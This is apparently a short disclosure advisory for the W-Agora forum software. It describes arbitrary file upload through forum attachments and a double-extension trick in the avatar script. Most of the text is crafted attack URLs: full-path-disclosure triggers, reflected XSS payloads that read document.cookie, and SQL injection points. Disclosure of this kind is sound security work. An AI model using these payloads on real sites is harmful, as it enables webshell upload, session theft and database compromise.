vendor website: http://www.w-agora.com/ bug: multiples file upload,xss,full path disclosure,error sql global risk: critical file upload : there's actually 2 ways to upload a file on w-agora : 1)on the forum you can post some attached file with your message and you can upload any kind of file then your file will be located here : site.com/w-agora/forums/hello/hello/notes/ ( hello = name of the forum ) then you can just browse :site.com/w-agora/forums/ to find out where is your file. 2) http://site.com/w-agora/browse_avatar.php?site=hello ( replace hello , by your forum name. ) with this script you can upload any file with a double extension like : file.php.jpg the file will be located here : http://site.com/w-agora/images/avatars/file.php.jpg full path: http://site.com/w-agora/rss.php?site=blablablablabla http://site.com/w-agora/rss.php?site=agora&bn=blibloubla http://site.com/w-agora/rss.php?site[]=agora http://site.com/w-agora/rss.php?site=agora&bn[]= http://site.com/w-agora/index.php?site[]=hello http://site.com/w-agora/index.php?site=hello&bn[]= http://site.com/w-agora/profile.php?site[]= http://site.com/w-agora/search.php?bn[]= http://site.com/w-agora/index.php?bn=hello_hello&sort[]=subject http://site.com/w-agora/search.php?bn=hello_hello&gosearch=1&pattern[]=1 http://site.com/w-agora/search.php?bn=hello_hello&gosearch=1&pattern=1&s earch_date[]=0 xss get : http://site.com/w-agora/profile.php?site=hello&showuser='"><script>alert (document.cookie)</script> http://site.com/w-agora/search.php?bn=hello_hello&gosearch=1&pattern=1&s earch_date=0&search_fields[body]=1&search_fields[subject]=1&search_forum ='"><script>alert(document.cookie)</script> http://site.com/w-agora/search.php?bn=hello_hello&gosearch=1&pattern=1&s earch_date=0&search_fields[body]=1&search_fields[subject]=1&search_forum =hello_hello&search_mode=0&search_user='"><script>alert(document.cookie) </script> http://site.com/w-agora/change_password.php?newpasswd1=1&newpasswd2=1&pa sswd=1&site=hello&userid='"><script>alert(document.cookie)</script> error sql : http://site.com/w-agora/search.php?bn=hello_hello&gosearch=1&pattern=1&s earch_date=0&search_fields[body]=1&search_fields[subject]=1&search_forum ='[sql] http://site.com/w-agora/search.php?bn=hello_hello&gosearch=1&pattern=1&s earch_date=0&search_fields[body]=1&search_fields[subject]=1&search_forum =hello_hello&search_mode=0&search_user='[sql] regards laurent gaffi